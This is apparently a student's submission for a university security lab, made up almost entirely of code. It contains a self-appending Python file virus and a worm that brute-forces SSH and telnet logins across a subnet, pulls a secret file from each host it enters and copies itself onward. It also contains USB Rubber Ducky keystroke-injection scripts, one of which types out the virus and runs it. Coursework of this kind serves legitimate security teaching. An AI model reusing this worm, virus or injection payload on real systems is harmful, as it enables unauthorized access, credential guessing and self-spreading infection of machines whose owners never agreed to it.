**CSE 3140: Lab 2**

Tom McCarthy (tkm20002)

Section Z81

VM IP: 172.16.49.96

1. **My first (?) virus.**

a)

Code:

import os

files = [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith(".py")]

newfile = open("PythonFiles.txt", "w")

for f in files:

    newfile.write(f + "\n")

newfile.close()

b)

Code:

import re

import sys

file = sys.argv[1]

virus = """

import sys

#Q1 Virus

with open("Q1B.out", "a") as f:

    for argument in sys.argv:

        f.write(argument + " ")"""

with open(file, "r+") as f:

    infected = False

    for line in f:

        if "#Q1 Virus" in line:

            infected = True

    if not infected:

        f.write(virus)

c)

Code:

import os

virus = """

import re

import sys

file = sys.argv[1]

virus = \"\"\"

import sys

#Q1 Virus

with open("Q1B.out", "a") as f:

    for argument in sys.argv:

        f.write(argument + " ")

with open(file, "r+") as f:

    infected = False

    for line in f:

        if "#Q1 Virus" in line:

            infected = True

    if not infected:

        f.write(virus)

\"\"\"

"""

files = [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith(".py")]

for file in files:

    with open(file, "r+") as f:

        infected = False

        for line in f:

            if "#Q1 Virus" in line:

                infected = True

        if not infected:

            f.write(virus)

**Approval Code: OV2N67**

1. **My first (?) worm.**

Code:

import paramiko

import telnetlib

import shutil

import time

import base64

import pipes

ssh = paramiko.SSHClient()

ssh.set\_missing\_host\_key\_policy(paramiko.AutoAddPolicy())

logins = []

shutil.copy("./Q2worm.py", "./Solutions")

with open('./Q2worm.py', 'r') as file:

    q2wordcontents = file.read()

with open('Q2pwd', 'r') as file:

    for line in file:

        login = [part for part in (line.strip()).split(" ")]

        logins.append(login)

def sshConnect(host, username, password):

    with open('./Solutions/Q2secrets', 'a+') as file:

        try:

            ssh.connect(hostname = host, username = username, password = password, banner\_timeout=5)

            print("Connected using ssh to " + host + " using username " + username + " and password " + password)

        except paramiko.ssh\_exception.NoValidConnectionsError:

            ssh.close()

            file.close()

            return False

        except:

            ssh.close()

            file.close()

            return True

        print("Getting current directory...")

        stdin, stdout, stderr = ssh.exec\_command("pwd")

        for line in stdout:

            homedirectory = str(line).strip()

        print("Copying contents of Q2secret...")

        stdin, stdout, stderr = ssh.exec\_command("cat Q2secret")

        for line in stdout:

            file.write(line)

        print("Copying Q2worm to remote...")

        ftp = ssh.open\_sftp()

        ftp.put("./Q2worm.py", homedirectory + "/Q2worm.py")

    ssh.close()

    file.close()

    return True

def quote(b):

    if isinstance(b, bytes):

        return pipes.quote(b.decode('utf-8')).encode('utf-8')

    else:

        return pipes.quote(b).encode('utf-8')

def telnetConnect(host, username, password):

    with open('./Solutions/Q2secrets', 'a+') as file:

        # try:

        try:

            tn = telnetlib.Telnet(host)

            tn.read\_until(b"cse3140-HVM-domU login: ")

        except:

            file.close()

            return False

        tn.write((username + "\r").encode('utf-8'))

        tn.read\_until(b"Password: ")

        tn.write((password + "\r").encode('utf-8'))

        if tn.read\_until(b"Login incorrect"):

            tn.close()

            file.close()

            return True

        print("Connected using telnet to " + host + " using username " + username + " and password " + password)

        print("Getting current directory...")

        tn.write("pwd\r".encode('utf-8'))

        directory = tn.read\_eager()

        print("Copying contents of Q2secret...")

        tn.write("cat Q2secret\r".encode('utf-8'))

        q2secret = tn.read\_eager()

        for line in q2secret:

            file.write(line)

        print("Copying Q2worm to remote...")

        tn.write("touch Q2worm.py\r".encode('utf-8'))

        expected = b'success'

        tn.write(b'echo %b | openssl base64 -d\n' % quote(base64.b64encode(expected)))

        tn.read\_until(expected, timeout=1)

        tn.write(b'openssl base64 -d <<\'\*END\*\' %b %b\n' %

        (b'>>', quote(directory)))

        tn.write(base64.encodebytes(q2wordcontents))

        tn.write(b'\n\*END\*\n')

    tn.close()

    file.close()

    return True

for i in range(256):

    host = "172.16.48." + str(i)

    for login in logins:

        if not sshConnect(host, login[0], login[1]):

            break

    time.sleep(5)

for i in range(256):

    host = "172.16.48." + str(i)

    for login in logins:

        if not telnetConnect(host, login[0], login[1]):

            break

    time.sleep(5)

This code takes a long time to run and test all machines so this is a screenshot of the output:

A blue screen with white text

Description automatically generated

**Approval Code: MXMJV4**

1. **First step toward my first (?) USB-Transmitted Malware (UTM).**

Code:

DELAY 1500

GUI r

DELAY 500

STRING notepad.exe

ENTER

DELAY 1000

STRING echo Tom McCarthy

CTRL s

DELAY 750

STRING Q3.bat

DELAY 500

ENTER

DELAY 1000

GUI r

DELAY 500

STRING cmd

ENTER

DELAY 1000

STRING cd C:\Users\tomkm\Desktop

ENTER

DELAY 250

STRING Q3.bat

ENTER

**Approval Code: 1HVYFV**

1. **Same as question 3, but this time your Rubber-Ducky script should write and run a Python `hello world’ script.**

Code:

DELAY 1500

GUI r

DELAY 500

STRING notepad.exe

ENTER

DELAY 1000

STRING print("Hello, world!\n")

CTRL s

DELAY 750

STRING Q4.py

DELAY 500

ENTER

DELAY 1000

GUI r

DELAY 500

STRING cmd

ENTER

DELAY 1000

STRING cd C:\Users\tomkm\Desktop

ENTER

DELAY 250

STRING python Q4.py

ENTER

**Approval Code: 0YLKGR**

1. **Same as question 4, but this time your Python script, to be uploaded, saved and run, will be the simple Python virus of question 1 (Q1C.py).**

DELAY 1500

GUI r

DELAY 500

STRING notepad.exe

ENTER

DELAY 1000

STRING import os

ENTER

STRING virus = """

ENTER

STRING import re

ENTER

STRING import sys

ENTER

STRING file = sys.argv[1]

ENTER

STRING virus = \"\"\"

ENTER

STRING import sys

ENTER

STRING #Q1 Virus

ENTER

STRING with open("Q1B.out", "a") as f:

ENTER

TAB

STRING for argument in sys.argv:

ENTER

TAB

TAB

STRING f.write(argument + " ")

ENTER

STRING with open(file, "r+") as f:

ENTER

TAB

STRING infected = False

ENTER

TAB

STRING for line in f:

ENTER

TAB

TAB

STRING if "#Q1 Virus" in line:

ENTER

TAB

TAB

TAB

STRING infected = True

ENTER

TAB

STRING if not infected:

ENTER

TAB

TAB

STRING f.write(virus)

ENTER

STRING \"\"\"

ENTER

STRING """

ENTER

STRING files = [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith(".py")]

ENTER

STRING for file in files:

ENTER

TAB

STRING with open(file, "r+") as f:

ENTER

TAB

TAB

STRING infected = False

ENTER

TAB

TAB

STRING for line in f:

ENTER

TAB

TAB

TAB

STRING if "#Q1 Virus" in line:

ENTER

TAB

TAB

TAB

TAB

STRING infected = True

ENTER

TAB

TAB

STRING if not infected:

ENTER

TAB

TAB

TAB

STRING f.write(virus)

ENTER

CTRL s

DELAY 750

STRING Q5.py

DELAY 500

ENTER

DELAY 1000

GUI r

DELAY 500

STRING cmd

ENTER

DELAY 1000

STRING cd C:\Users\tomkm\Desktop

ENTER

DELAY 250

STRING python Q5.py

ENTER

**Approval Code: DNYZMR**